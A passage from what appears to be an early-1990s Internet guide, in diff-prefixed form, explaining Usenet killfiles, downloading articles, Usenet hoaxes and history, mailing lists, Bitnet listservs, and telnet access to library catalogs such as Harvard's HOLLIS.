> with each new line. Whoever gets +to finish this mega-triangle wins. + +There is even a newsgroup just for such folks: alt.cascade. +Unfortunately, cascaders would generally rather cascade in other +newsgroups. Because it takes a lot of messages to build up a completed +cascade, the targeted newsgroup soon fills up with these messages. Of +course, if you complain, you'll be bombarded with messages about the +First Amendment and artistic expression -- or worse, with another +cascade. The only thing you can do is ignore them, by setting up a +killfile. + +There are also certain newsgroups where killfiles will come in handy +because of the way the newsgroups are organized. For example, readers of +rec.arts.tv.soaps always use an acronym in their subject: line for the +show they're writing about (AMC, for example, for "All My Children"). +This way, people who only want to read about "One Life to Live" can blank +out all the messages about "The Young and the Restless" and all the +others (to keep people from accidentally screening out messages that +might contain the letters "gh" in them, "General Hospital" viewers always +use "gh:" in their subject lines). + +Both nn and rn let you create killfiles, but in different ways. + +To create a killfile in nn, go into the newsgroup with the offending +messages and type a capital K. You'll see this at the bottom of your +screen: + + AUTO (k)ill or (s)elect (CR => Kill subject 30 days) + +If you hit return, nn will ask you which article's subject you're +tired of. Chose one and the article and any follow-ups will disappear, +and you won't see them again for 30 days. + +If you type a lower-case k instead, you'll get this: + + AUTO KILL on (s)ubject or (n)ame (s) + +If you hit your S key or just enter, you'll see this: + + KILL Subject: (=/) + +Type in the name of the offending word or phrase and hit enter. You'll +then be prompted: + + KILL in (g)roup 'eff.test' or in (a)ll groups (g) + +except that the name of the group you see will be the one you're actually +in at the moment. Because cascaders and other annoying people often +cross-post their messages to a wide range of newsgroups, you might +consider hitting a instead of g. Next comes: + + Lifetime of entry in days (p)ermanent (30) + +The P key will screen out the offending articles forever, while hitting +enter will do it for 30 days. You can also type in a number of days for +the blocking. + +Creating killfiles in rn works differently -- its default killfile +generator only works for messages in specific groups, rather than +globally for your entire newsgroup list. To create a global killfile, +you'll have to write one yourself. + +To create a killfile in rn, go into the newsgroup where the offending +messages are and type in its number so you get it on your screen. Type a +capital K. From now on, any message with that subject line will +disappear before you read the group. You should probably choose a reply, +rather than the original message, so that you will get all of the +followups (the original message won't have a "Re: " in its subject line). +The next time you call up that newsgroup, rn will tell you it's killing +messages. When it's done, hit the space bar to go back into reading mode. + +To create a "global" kill file that will automatically wipe out articles +in all groups you read, start rn and type control-K. This will start +your whatever text editor you have as your default on your host system +and create a file (called KILL, in your News subdirectory). + +On the first line, you'll type in the word, phrase or name you don't want +to see, followed by commands that tell rn whether to search an entire +message for the word or name and then what to do when it finds it. + +Each line must be in this form + + /pattern/modifier:j + +"Pattern" is the word or phrase you want rn to look for. It's case- +insensitive: both "test" and "Test" will be knocked out. The modifier +tells rn whether to limit its search to message headers (which can be +useful when the object is to never see messages from a particular +person): + + a: Looks through an entire message + h: Looks just at the header + +You can leave out the modifier command, in which case rn will look only +at the subject line of messages. The "j" at the end tells rn to screen +out all articles with the offending word. + +So if you never want to see the word "foo" in any header, ever again, +type this: + + /foo/h:j + +This is particularly useful for getting rid of articles from +people who post in more than one newsgroup, such as cascaders, since +an article's newsgroup name is always in the header. + +If you just want to block messages with a subject line about cascades, +you could try: + + /foo/:j + +To kill anything that is a followup to any article, use this pattern: + + /Subject: *Re:/:j + +When done writing lines for each phrase to screen, exit the text editor +as you normally would, and you'll be put back in rn. + +One word of caution: go easy on the global killfile. An extensive global +killfile, or one that makes frequent use of the a: modifier can +dramatically slow down rn, since the system will now have to look at +every single word in every single message in all the newsgroups you want +to read. + +If there's a particular person whose posts you never want to see again, +first find his or her address (which will be in the "from:" line of his +postings) and then write a line in your killfile like this: + + /From: *name@address\.all/h:j + + +4.3 DOWNLOADING MESSAGES + + +Let's say there is an article in Usenet you want to save to your home +computer. There are a couple of ways to do this. One would be to use +your own telecommunication's logging or screen-capture function to +capture the text as it scrolls down the screen. This method is good if +there's just one or two articles you want to save. + +But what if there are a whole lot of messages on a particular topic you +want to download, or if you want to temporarily store them online before +getting them? It might make sense to save them all to one file that you +then download. + +To do this in nn, hit a capital S while in the article. You'll get +something like this: + + Save on (+~|) +alt/internet/services + +If you hit enter a couple of times, the file will be saved. But note +those backslashes. That means you'll actually be creating a series of +Unix sub-directories in addition to a file (in the example above, you'd +be creating a directory path called alt/internet in which you'd save the +file called services). This can be a pain! Instead, backspace as far as +you can and type in whatever you want to call the file. Now hit enter a +couple of times, and the file will be saved in your home directory. +Repeat for other articles until done. Assuming you use the same file +name each time, each message will be stored in that file. + +Note for you MS-DOS folks: be sure to name the file something you're +computer can handle, for example, manual.txt, rather than something it +can't, such as computer.manual.txt). + +To do this in rn, hit a lower-case s while in the article. You'll be +given a default file name in which to save the article. You can either +use that or type in your own name. Hit enter, and you'll be asked if you +want to save the article "in mailbox format." Hitting y or n here makes +little practical difference unless, for some reason, you later want to +view the article from within elm or some other mail program. The article +will then be saved in a file in your News directory (which is a +subdirectory off the normal directory you are put in when you connect to +your public-access provider). To save another +article to that file, repeat the process, and make sure you use the same +file name. The article will be appended to the end of the file you +created. + +Now to get the messages home. First, you tell your host system that you +want to transfer, or download, the file. If your telecommunications +program has Zmodem, that's all you'll have to do -- the downloading will +then start automatically. If you are using something like Xmodem, Ymodem +or Kermit, however, you'll then have to tell your own computer to get +ready to receive a file. To start a Zmodem download in Unix, type + + sz filename + +where "filename" is the file you want and hit enter. With Zmodem (and +also batch-Ymodem), you can initiate several downloads at once by either +typing in a series of filenames after 'sz' (for example: sz file1 file2) +or by using Unix wildcards (which are very similar to MS-DOS wildcards; +for example, sz man* would send you manual1, manual2 and manoman.txt). +If you use Ymodem, the command would be in the form + + sz -k filename + +while if you want to use Xmodem, it would be + + sx filename + +Note that in Xmodem, you have to issue an sx command for each file you +want. + +With Ymodem and Xmodem, you'll then have to tell your own computer's +communications program that you're about to download a file and what you +want to call it. + +Now you rn users, recall how the files you created were being stored in +your News directory. That means that to get them, you'd have to type +something like: + + sz News/filename + +Otherwise, you'll get an error message. + + +4.4 ASCII AND YE SHALL RECEIVE + + +That was easy, wasn't it? Alas, it can get more complicated. Unix, MS- +DOS and Macintosh computers all handle the end of lines of text +differently. That means that when you download a text file (such as a +collection of Usenet postings), it could look awfully odd on your +computer, to the point of being almost unreadable. There are a couple of +ways to handle this. One is to use an ASCII "flag" after sz (or sx or +sz -k). If you're lucky, your public-access site and your own computer +will be able to figure out that you need to have the line endings +translated. The command would look like this: + + sz -a filename + +or + sz -ka filename + +etc. + +If you still get weird results, most Unix systems have a translator +program that can put the proper line endings in. Typing + + unix2dos file.txt file.txt + +would convert file.txt into a valid MS-DOS file. A similar program +called unix2mac works the same for Macintoshes. + + +4.4 SOME USENET HINTS + + +Case counts in Unix -- most of the time. Many Unix commands, including +many of those used for reading Usenet articles, are case sensitive. Hit +a d when you meant a D and either nothing will happen, or something +completely different from what you expected will happen. So watch that +case! + +In nn, you can get help most of the time by typing a question mark (the +exception is when you are writing your own message, because then you are +inside the text-processing program). In rn, type a lower-case h at any +prompt to get some online help. + +When you're searching for a particular newsgroup, whether through the l +command in rn or with nngrep for nn, you sometimes may have to try +several keywords. For example, there is a newsgroup dedicated to the +Grateful Dead, but you'd never find it if you tried, say, l grateful +dead, because the name is rec.music.gdead. In general, try the smallest +possible part of the word or discussion you're looking for, for example, +use "trek" to find newsgroups about "Star Trek." If one word doesn't +produce anything, try another. + + +4.5 THE BRAIN-TUMOR BOY, THE MODEM TAX AND THE FCC + +Like the rest of the world, Usenet has its share of urban legends and +questionable activities. There are three in particular that plague the +network. Spend more than, oh, 15 minutes within Usenet and you're sure +to run into the Brain Tumor Boy, the plot by the evil FCC to tax your +modem and Dave Rhode's miracle cure for poverty. For the record, here's +the story on all of them: + +There once was a seven-year-old boy in England named Craig Shergold who +was diagnosed with a seemingly incurable brain tumor. As he lay dying, +he wished only to have friends send him postcards. The local newspapers +got a hold of the tear-jerking story. Soon, the boy's wish had changed: +he now wanted to get into the Guinness Book of World Records for the +largest postcard collection. Word spread around the world. People by the +millions sent him postcards. + +Miraculously, the boy lived. An American billionaire even flew him to +the U.S. for surgery to remove what remained of the tumor. And his wish +succeeded beyond his wildest dreams -- he made the Guinness Book of World +Records. + +But with Craig now well into his teens, his dream has turned into a +nightmare for the post office in the small town outside London where he +lives. Like Craig himself, his request for cards just refuses to die, +inundating the post office with millions of cards every year. Just when +it seems like the flow is slowing, along comes somebody else who starts +up a whole new slew of requests for people to send Craig post cards (or +greeting cards or business cards -- Craig letters have truly taken on a +life of their own and begun to mutate). Even Dear Abby has been powerless +to make it stop! + +What does any of this have to do with the Net? The Craig letter seems to +pop up on Usenet as often as it does on cork boards at major +corporations. No matter how many times somebody like Gene Spafford posts +periodic messages to ignore them or spend your money on something more +sensible (a donation to the local Red Cross, say), somebody manages to +post a letter asking readers to send cards to poor little Craig. + +Don't send any cards to the Federal Communications Commission, either. + +In 1987, the FCC considered removing a tax break it had granted +CompuServe and other large commercial computer networks for use of the +national phone system. The FCC quickly reconsidered after alarmed users +of bulletin-board systems bombarded it with complaints about this "modem +tax." + +Now, every couple of months, somebody posts an "urgent" message warning +Net users that the FCC is about to impose a modem tax. This is NOT true. +The way you can tell if you're dealing with the hoax story is simple: it +ALWAYS mentions an incident in which a talk-show host on KGO radio in San +Francisco becomes outraged on the air when he reads a story about the tax +in the New York Times. + +Another way to tell it's not true is that it never mentions a specific +FCC docket number or closing date for comments. + +Save that letter to your congressman for something else. + +Sooner or later, you're going to run into a message titled "Make Money +Fast." It's your basic chain letter. The Usenet version is always about +some guy named Dave Rhodes who was on the verge of death, or something, +when he discovered a perfectly legal way to make tons of money -- by +posting a chain letter on computer systems around the world. Yeah, right. + + +4.6 BIG SIG + +There are .sigs and there are .sigs. Many people put only bare-bones +information in their .sig files -- their names and e-mail addresses, +perhaps their phone numbers. Others add a quotation they think is funny +or profound and a disclaimer that their views are not those of their +employer. + +Still others add some ASCII-art graphics. And then there are those who +go totally berserk, posting huge creations with multiple quotes, hideous +ASCII "barfics" and more e-mail addresses than anybody could humanly +need. College freshmen unleashed on the Net seem to excel at these. +You can see the best of the worst in the alt.fan.warlord newsgroup, which +exists solely to critique .sigs that go too far, such as: + + +___________________________________________________________________________ +|#########################################################################| +|#| |#| +|#| ***** * * ***** * * ***** ***** ***** |#| +|#| * * * * ** ** * * * * |#| +|#| * ****** *** * * * *** * ** ***** ***** |#| +|#| * * * * * * * * * * * |#| +|#| * * * ***** * * ***** ***** * * |#| +|#| |#| +|#| **** ***** ***** ***** ***** ***** ***** ***** |#| +|#| * ** * * * * * * * * |#| +|#| **** * * ** ***** * * ** * * * |#| +|#| * ** * * * ** * * * * * * * |#| +|#| **** ***** ***** ** ***** ***** ***** ***** ***** |#| +|#| |#| +|#| T-H-E M-E-G-A B-I-G .S-I-G C-O-M-P-A-N-Y |#| +|#| ~-----------------------------~ |#| +|#| "Annoying people with huge net.signatures for over 20 years..." |#| +|#| |#| +|#|---------------------------------------------------------------------|#| +|#| "The difference between a net.idiot and a bucket of shit is that at |#| +|#| least a bucket can be emptied. Let me further illustrate my point |#| +|#| by comparing these charts here. (pulls out charts) Here we have a |#| +|#| user who not only flames people who don't agree with his narrow- |#| +|#| minded drivel, but he has this huge signature that takes up many |#| +|#| pages with useless quotes. This also makes reading his frequented |#| +|#| newsgroups a torture akin to having at 300 baud modem on a VAX. I |#| +|#| might also add that his contribution to society rivals only toxic |#| +|#| dump sites." |#| +|#| -- Robert A. Dumpstik, Jr |#| +|#| President of The Mega Big Sig Company |#| +|#| September 13th, 1990 at 4:15pm |#| +|#| During his speech at the "Net.abusers |#| +|#| Society Luncheon" during the |#| +|#| "1990 Net.idiots Annual Convention" |#| +|#|_____________________________________________________________________|#| +|#| |#| +|#| Thomas Babbit, III: 5th Assistant to the Vice President of Sales |#| +|#| __ |#| +|#| ========== ______ Digital Widget Manufacturing Co. |#| +|#| \\ / 1147 Complex Incorporated Drive |#| +|#| )-======= Suite 215 |#| +|#| Nostromo, VA 22550-1147 |#| +|#| #NC-17 Enterpoop Ship :) Phone # 804-844-2525 |#| +|#| ---------------- Fax # 804-411-1115 |#| +|#| "Shut up, Wesley!" Online Service # 804-411-1100 |#| +|#| -- Me at 300-2400, and now 9600 baud! |#| +|#| PUNet: tbabb!digwig!nostromo |#| +|#| Home address: InterNet: dvader@imperial.emp.com |#| +|#| Thomas Babbit, III Prodigy: Still awaiting author- |#| +|#| 104 Luzyer Way ization |#| +|#| Sulaco, VA 22545 "Manufacturing educational widget |#| +|#| Phone # 804-555-1524 design for over 3 years..." |#| +|#|=====================================================================|#| +|#| |#| +|#| Introducing: |#| +|#| ______ |#| +|#| The |\ /| / |#| +|#| | \/ | / |#| +|#| | | / |#| +|#| | | / |#| +|#| | | ETELHED /_____ ONE |#| +|#|'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'|#| +|#| 50Megs Online! The k00l BBS for rad teens! Lots of games and many |#| +|#| bases for kul topix! Call now and be validated to the Metelhed Zone|#| +|#| -- 804-555-8500 -- |#| +|#|\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\V/////////////////////////////////////|#| +|#| "This is the end, my friend..." -- The Doors |#| +|#########################################################################| +--------------------------------------------------------------------------- +Hit "b" to continue + +Hahahha... fooled u! + + +4.7 THE FIRST AMENDMENT AS LOCAL ORDINANCE + + +Usenet's international reach raises interesting legal questions that have +yet to be fully resolved. Can a discussion or posting that is legal in +one country be transmitted to a country where it is against the law? +Does the posting even become illegal when it reaches the border? And +what if that country is the only path to a third country where the +message is legal as well? Several foreign colleges and other +institutions have cut off feeds of certain newsgroups where Americans +post what is, in the U.S., perfectly legal discussions of drugs or +alternative sexual practices. Even in the U.S., some universities have +discontinued certain newsgroups their administrators find offensive, +again, usually in the alt. hierarchy. + +An interesting example of this sort of question happened in 1993, when a +Canadian court issued a gag order on Canadian reporters covering a +particularly controversial murder case. Americans, not bound by the gag +order, began posting accounts of the trial -- which any Canadian with a +Net account could promptly read. + + +4.8 USENET HISTORY + + +In the late 1970s, Unix developers came up with a new feature: a system +to allow Unix computers to exchange data over phone lines. + +In 1979, two graduate students at Duke University in North Carolina, Tom +Truscott and Jim Ellis, came up with the idea of using this system, known +as UUCP (for Unix-to-Unix CoPy), to distribute information of interest to +people in the Unix community. Along with Steve Bellovin, a graduate +student at the University of North Carolina and Steve Daniel, they wrote +conferencing software and linked together computers at Duke and UNC. + +Word quickly spread and by 1981, a graduate student at Berkeley, Mark +Horton and a nearby high school student, Matt Glickman, had released a +new version that added more features and was able to handle larger +volumes of postings -- the original North Carolina program was meant for +only a few articles in a newsgroup each day. + +Today, this system, now called Usenet, connects tens of thousands of +sites around the world, from mainframes to Amigas. With more than 3,000 +newsgroups and untold thousands of readers, it is perhaps the world's +largest computer network. + + +4.9 WHEN THINGS GO WRONG + + +* When you start up rn, you get a "warning" that "bogus newsgroups" +are present. + +Within a couple of minutes, you'll be asked whether to keep these or +delete them. Delete them. Bogus newsgroups are newsgroups that your +system administrator or somebody else has determined are no longer +needed. + +* While in a newsgroup in rn, you get a message: "skipping unavailable +article." + +This is usually an article that somebody posted and then decided to +cancel. + +* You upload a text file to your Unix host system for use in a Usenet +message or e-mail, and when you or your recipient reads the file, every +line ends with a ^M. + +This happens because Unix handles line endings differently than MS-DOS or +Macintosh computers. Most Unix systems have programs to convert incoming +files from other computers. To use it, upload your file and then, at your +command line, type + + dos2unix filename filename or + mac2unix filename filename + +depending on which kind of computer you are using and where filename is +the name of the file you've just uploaded. A similar program can prepare +text files for downloading to your computer, for example: + + unix2dos filename filename or + unix2mac filename filename + +will ensure that a text file you are about to get will not come out +looking odd on your computer. + +* Nothing happens or you get a lot of garbage on your screen when you try +to download a file with Zmodem. + +Unfortunately, transferring files over high-speed modems can still +sometimes be troublesome. Diagnosing and fixing the problem often means +tinkering with settings either on your end (for example, if your modem +supports hardware "handshaking" but your telecom program is set for +software "handshaking"); the public-access site's end (with various +flags) or both. The best thing to do when having problems is to send e- +mail to your system administrator or post a message in your site's +"general" or "help" newsgroup if there is one. If you're having a +problem, chances are somebody else has gone through the same thing and +can help out. It would probably make sense to include the type of modem +you're using and the speed at which it connects. + + +4.10 FYI + + +Leanne Phillips periodically posts a list of frequently asked questions +(and answers) about use of the rn killfile function in the +news.newusers.questions and news.answers newsgroups on Usenet. Bill +Wohler posts a guide to using the nn newsreader in the news.answers and +news.software newsgroups. Look in the news.announce.newusers and +news.groups newsgroups on Usenet for "A Guide to Social Newsgroups and +Mailing Lists,'' which gives brief summaries of the various soc. +newsgroups. + +"Managing UUCP and Usenet,' by Tim O'Reilly and Grace Todino (O'Reilly & +Associates, 1992) is a good guide for setting up your own Usenet system. +chap3 + + + + + + +Chapter 5: MAILING LISTS AND BITNET + + + +5.1 INTERNET MAILING LISTS + + +Usenet is not the only forum on the Net. Scores of "mailing lists" +represent another way to interact with other Net users. Unlike Usenet +messages, which are stored in one central location on your host system's +computer, mailing-list messages are delivered right to your e-mail box. + +You have to ask for permission to join a mailing list -- although +in many cases that means only sending a message to a particular computer, +which then automatically adds you to the list. Unlike Usenet, where your +message is distributed to the world, on a mailing list, you send your +messages to a central moderator, who either re-mails it to the other +people on the list or uses it to compile a periodic "digest" mailed to +subscribers. + +Given the number of newsgroups, why would anybody bother with a mailing +list? + +Even on Usenet, there are some topics that just might not generate enough +interest for a newsgroup; for example, the Queen list, which is all about +the late Freddie Mercury's band. + +And because a moderator decides who can participate, a mailing list can +offer a degree of freedom to speak one's mind (or not worry about +net.weenies) that is not necessarily possible on Usenet. Several groups +offer anonymous postings -- only the moderator knows the real names of +people who contribute. Examples include 12Step, where people enrolled in +such programs as Alcoholics Anonymous can discuss their experiences, and +sappho, a list limited to gay and bisexual women. + +You can find mailing addresses and descriptions of these lists in the +news.announce.newusers newsgroup with the subject of "Publicly Accessible +Mailing Lists." Mailing lists now number in the hundreds, so this +posting is divided into several parts. + +If you find a list to which you want to subscribe, send an e-mail message +to the listed address, which will often be of the form + + list-request@address.site + +or + + majordomo@address.site + +(majordomo is a common program used to manage mailing lists). If you're +writing to a list-request address, chances are good your message will go +to a live person. Ask to be put on the list and include your e-mail +address, just in case something happens to your header. If it's a +majordomo address, you'll typically be told to send a message in this +form: + + subscribe listname + +where "listname" is the name of the list. As with Usenet, it's generally +a good idea to "listen" to the messages for a few days before jumping in. +once you want to send a message to everybody on the list, send it to + + listname@address.site + +If you want to get off a mailing list, write to the same address you used +for subscribing in the first place, only this time, write + + unsubscribe listname + +substituting the actual name of the mailing list. + + +5.2 BITNET + + +As if Usenet and mailing lists were not enough, there are Bitnet +"discussion groups" or "lists." + +Bitnet is an international network linking colleges and universities, but +it uses a different set of technical protocols for distributing +information from the Internet or Usenet. It offers hundreds of discussion +groups, comparable in scope to Usenet newsgroups. As with Internet +mailing lists, Bitnet discussions take place in e-mail. However, where +mailing lists are often maintained by a person, all Bitnet discussion +groups are automated -- you subscribe to them through messages to a +"listserver" computer. This is a kind of robot moderator that controls +distribution of messages on the list. In many cases, it also maintains +indexes and archives of past postings in a given discussion group, which +can be handy if you want to get up to speed with a discussion or just +search for some information related to it. + +Many Bitnet discussion groups are now "translated" into Usenet form and +carried through Usenet in the bit.listserv hierarchy. In general, it's +probably better to read messages through Usenet if you can. It saves +some storage space on your host system's hard drives as well as reducing +clutter in your mailbox. Think of opening your e-mailbox one day to find +200 messages in it -- 199 of them from a discussion group and one of them +a "real" e-mail message that's important to you. + +Subscribing and canceling subscriptions is done through an e-mail message +to the listserver computer. For addressing, all listservers are known as +"listserv" (yep) at some Bitnet address. This means you will have to add +".bitnet" to the end of the address, if it's in a form like this: +listserv@miamiu. For example, if you have an interest in environmental +issues, you might want to subscribe to the Econet discussion group. To +subscribe, send an e-mail message to + + listserv@miamiu.bitnet + +Some Bitnet listservers are also connected to the Internet, so if you +see a listserver address ending in ".edu", you can e-mail the +listserver without adding ".bitnet" to the end. + +Always leave the "subject:" line blank in a message to a listserver. +Inside the message, you tell the listserver what you want, with a series +of simple commands: + +subscribe group Your Name To subscribe to a list, where "group" + is the list name and "Your Name" is + your full name, for example: + subscribe econet Henry Fielding + +unsubscribe group Your Name To discontinue a group, for example: + unsubscribe econet Henry Fielding + +list global This sends you a list of all available + Bitnet discussion groups. But be careful + -- the list is VERY long! + +get refcard Sends you a list of other commands you + can use with a listserver, such as + commands for retrieving past postings + from a discussion group. + +Each of these commands goes on a separate line in your message (and you +can use one or all of them). If you want to get a list of all Bitnet +discussion groups, send e-mail to + + listserv@bitnic.educom.edu + +Leave the "subject:" line blank and use the list global command. + +When you subscribe to a Bitnet group, there are two important differences +from Usenet. + +First, when you want to post a message for others to read in the +discussion group, you send a message to the group name at its Bitnet +address. Using Econet as an example, you would mail the message to: + + econet@miamiu.bitnet + +Note that this is different from the listserv address you used to +subscribe to the group to begin with. Use the listserv address ONLY to +subscribe to or unsubscribe from a discussion group. If you use the +discussion-group address to try to subscribe or unsubscribe, your message +will go out to every other subscriber, many of whom will think unkind +thoughts, which they may share with you in an e-mail message). + +The second difference relates to sending an e-mail message to the author +of a particular posting. Usenet newsreaders such as rn and nn let you do +this with one key. But if you hit your R key to respond to a discussion- +group message, your message will go to the listserver, and from there to +everybody else on the list! This can prove embarrassing to you and +annoying to others. To make sure your message goes just to the person who +wrote the posting, take down his e-mail address from the posting and then +compose a brand-new message. Remember, also, that if you see an e-mail +address like IZZY@INDYVMS, it's a Bitnet address. + +Two Bitnet lists will prove helpful for delving further into the network. +NEW-LIST tells you the names of new discussion groups. To subscribe, send +a message to listserv@ndsuvm1.bitnet: + + sub NEW-LIST Your Name + +INFONETS is the place to go when you have questions about Bitnet. It is +also first rate for help on questions about all major computer networks +and how to reach them. To subscribe, send e-mail to +info-nets-request@think.com: + + sub INFONETS Your Name + +Both of these lists are also available on Usenet, the former as +bit.listserv.new-list; the latter as bit.listserv.infonets (sometimes +bit.listserv.info-nets). + + + + + +Chapter 6: TELNET + + + +6.1 MINING THE NET + + +Like any large community, cyberspace has its libraries, places you can go +to look up information or take out a good book. Telnet is one of your +keys to these libraries. + +Telnet is a program that lets you use the power of the Internet to +connect you to databases, library catalogs, and other information +resources around the world. Want to see what the weather's like in +Vermont? Check on crop conditions in Azerbaijan? Get more information +about somebody whose name you've seen online? Telnet lets you do this, +and more. Increasingly, information once available only via telnet is +being disseminated by the World-Wide Web (see Chapter 9) -- but it can +still be useful to learn your way around telnet. + +Alas, there's a big "but!'' Unlike the phone system, Internet is not yet +universal; not everybody can use all of its services. Almost all +colleges and universities on the Internet provide telnet access. So do +all of the for-fee public-access systems listed in Chapter 1. But the +Free-Net systems do not give you access to every telnet system. And if +you are using a public-access UUCP or Usenet site, you will not have +access to telnet. The main reason for this is cost. Connecting to the +Internet can easily cost $1,000 or more for a leased, high-speed phone +line. Some databases and file libraries can be queried by e-mail, +however; we'll show you how to do that later on. In the meantime, the +rest of this chapter assumes you are connected to a site with at least +partial Internet access. + +Most telnet sites are fairly easy to use and have online help systems. +Most also work best (and in some cases, only) with VT100 emulation. +Let's dive right in and try one. + +At your host system's command line, type + + telnet access.usask.ca + +and hit enter. That's all you have to do to connect to a telnet site! +In this case, you'll be connecting to a service known as Hytelnet, which +is a database of computerized library catalogs and other databases +available through telnet. You should see something like this: + + Trying 128.233.3.1 ... + Connected to access.usask.ca. + Escape character is '^]'. + + Ultrix UNIX (access.usask.ca) + + login: + +Every telnet site has two addresses -- one composed of words that are +easier for people to remember; the other a numerical address better +suited for computers. The "escape character" is good to remember. When +all else fails, depressing your hitting your control key and then the ] +key at the same time will disconnect you and return you to your host +system. At the login prompt for this particular site, type + + hytelnet + +and hit enter. You'll see something like this: + + Welcome to HYTELNET + version 6.2 + ................... + + What is HYTELNET? . Up/Down arrows MOVE + Library catalogs . Left/Right arrows SELECT + Other resources . ? for HELP anytime + Help files for catalogs . + Catalog interfaces . m returns here + Internet Glossary . q quits + Telnet tips . + Telnet/TN3270 escape keys . + Key-stroke commands . + + + ........................ + HYTELNET 6.2 was written by Peter Scott, + U of Saskatchewan Libraries, Saskatoon, Sask, Canada. 1992 + Unix and VMS software by Earl Fogel, Computing Services, U of S 1992 + +The first choice, "" will be highlighted. Use your down and up +arrows to move the cursor among the choices. Hit enter when you decide +on one. You'll get another menu, which in turn will bring up text files +telling you how to connect to sites and giving any special commands or +instructions you might need. Hytelnet does have one quirk. To move back +to where you started (for example, from a sub-menu to a main menu), hit +the left-arrow key on your computer. + +Play with the system. You might want to turn on your computer's screen- +capture, or at the very least, get out a pen and paper. You're bound to +run across some interesting telnet services that you'll want to try -- +and you'll need their telnet "addresses.'' + +As you move around Hytelnet, it may seem as if you haven't left your host +system -- telnet can work that quickly. Occasionally, when network loads +are heavy, however, you will notice a delay between the time you type a +command or enter a request and the time the remote service responds. + +To disconnect from Hytelnet and return to your system, hit your q key and +enter. + +Some telnet computers are set up so that you can only access them through +a specific "port." In those cases, you'll always see a number after +their name, for example: india.colorado.edu 13. It's important to +include that number, because otherwise, you may not get in. + +In fact, try the above address. Type + + telnet india.colorado.edu 13 + +and hit enter. You should see something like this: + + Trying 128.138.140.44 ... + +Followed very quickly by this: + + telnet india.colorado.edu 13 + + Escape character is '^]'. + Sun Jan 17 14:11:41 1994 + Connection closed by foreign host. + +What we want is the middle line, which tells you the exact Mountain +Standard Time, as determined by a government-run atomic clock in Boulder, +Colo. + + +6.2 LIBRARY CATALOGS + + +Several hundred libraries around the world, from the Snohomish Public +Library in Washington State to the Library of Congress are now available +to you through telnet. You can use Hytelnet to find their names, telnet +addresses and use instructions. + +Why would you want to browse a library you can't physically get to? Many +libraries share books, so if yours doesn't have what you're looking for, +you can tell the librarian where he or she can get it. Or if you live in +an area where the libraries are not yet online, you can use telnet to do +some basic bibliographic research before you head down to the local +branch. + +There are several different database programs in use by online libraries. +Harvard's is one of the easier ones to use, so let's try it. + +Telnet to hollis.harvard.edu. When you connect, you'll see: + + + ***************** H A R V A R D U N I V E R S I T Y + ***************** OFFICE FOR INFORMATION TECHNOLOGY + *** *** *** + *** VE *** RI *** + *** *** *** HOLLIS (Harvard OnLine LIbrary System) + ***** ***** + **** TAS **** HUBS (Harvard University Basic Services) + *** *** + ***** IU (Information Utility) + *** + CMS (VM/CMS Timesharing Service) + + + ** HOLLIS IS AVAILABLE WITHOUT ACCESS RESTRICTIONS ** + Access to other applications is limited to individuals who have been + granted specific permission by an authorized person. + + To select one of the applications above, type its name on the command + line followed by your user ID, and press RETURN. + ** HOLLIS DOES NOT REQUIRE A USERID ** + + EXAMPLES: HOLLIS (press RETURN) or HUBS userid (press RETURN) +===> + +Type + + hollis + +and hit enter. You'll see several screens flash by quickly until finally +the system stops and you'll get this: + + WELCOME TO HOLLIS + (Harvard OnLine Library Information System) + + To begin, type one of the 2-character database codes listed below: + + HU Union Catalog of the Harvard libraries + OW Catalog of Older Widener materials + LG Guide to Harvard Libraries and Computing Resources + + AI Expanded Academic Index (selective 1987-1988, full 1989- ) + LR Legal Resource Index (1980- ) + PA PAIS International (1985- ) + + To change databases from any place in HOLLIS, type CHOOSE followed by a + 2-character database code, as in: CHOOSE HU + + For general help in using HOLLIS, type HELP. For HOLLIS news, type + HELP NEWS. For HOLLIS hours of operation, type HELP HOURS. + + ALWAYS PRESS THE ENTER OR RETURN KEY AFTER TYPING YOUR COMMAND + +The first thing to notice is the name of the system: Hollis. Librarians +around the world seem to be inordinately found of cutesy, +anthropomorphized acronyms for their machines (not far from Harvard, the +librarians at Brandeis University came up with Library On-Line User +Information Service, or Louis; MIT has Barton). + +If you want to do some general browsing, probably the best bet on the +Harvard system is to chose HU, which gets you access to their main +holdings, including those of its medical libraries. Chose that, and +you'll see this: + + THE HARVARD UNIVERSITY LIBRARY UNION CATALOG + + To begin a search, select a search option from the list below and type its + code on the command line. Use either upper or lower case. + + AU Author search + TI Title search + SU Subject search + ME Medical subject search + KEYWORD Keyword search options + CALL Call number search options + OTHER Other search options + + For information on the contents of the Union Catalog, type HELP. + To exit the Union Catalog, type QUIT. + + A search can be entered on the COMMAND line of any screen. + + ALWAYS PRESS THE ENTER OR RETURN KEY AFTER TYPING YOUR COMMAND. + +Say you want to see if Harvard has shed the starchy legacy of the +Puritans, who founded the school. Why not see if they have "The Joy of +Sex" somewhere in their stacks? Type + + TI Joy of Sex + +and hit enter. This comes up: + +HU: YOUR SEARCH RETRIEVED NO ITEMS. Enter new command or HELP. You typed: + TI JOY OF SEX +******************************************************************************* + + + ALWAYS PRESS THE ENTER OR RETURN KEY AFTER TYPING YOUR COMMAND. +------------------------------------------------------------------------------- +OPTIONS: FIND START - search options HELP + QUIT - exit database +COMMAND? + + + +Oh, well! Do they have anything that mentions "sex" in the title? Try +another TI search, but this time just: TI sex. You get: + + HU GUIDE: SUMMARY OF SEARCH RESULTS 2086 items retrieved by your search: +FIND TI SEX +------------------------------------------------------------------------------ + 1 SEX + 2 SEX A + 823 SEXA + 827 SEXBO + 831 SEXCE + 833 SEXDR + 834 SEXE + 879 SEXIE + 928 SEXJA + 929 SEXLE + 930 SEXO + 965 SEXPI + 968 SEXT +1280 SEXUA +2084 SEXWA +2085 SEXY +------------------------------------------------------------------------------- +OPTIONS: INDEX (or I 5 etc) to see list of items HELP + START - search options + REDO - edit search QUIT - exit database +COMMAND? + +If you want to get more information on the first line, type 1 and hit enter: + + HU INDEX: LIST OF ITEMS RETRIEVED 2086 items retrieved by your search: +FIND TI SEX +------------------------------------------------------------------------------ +SEX + 1 geddes patrick sir 1854 1932/ 1914 bks + +SEX A Z + 2 goldenson robert m/ 1987 bks + +SEX ABUSE HYSTERIA SALEM WITCH TRIALS REVISITED + 3 gardner richard a/ 1991 bks + +SEX AETATES MUNDI ENGLISH AND IRISH + 4 irish sex aetates mundi/ 1983 bks + +SEX AFTER SIXTY A GUIDE FOR MEN AND WOMEN FOR THEIR 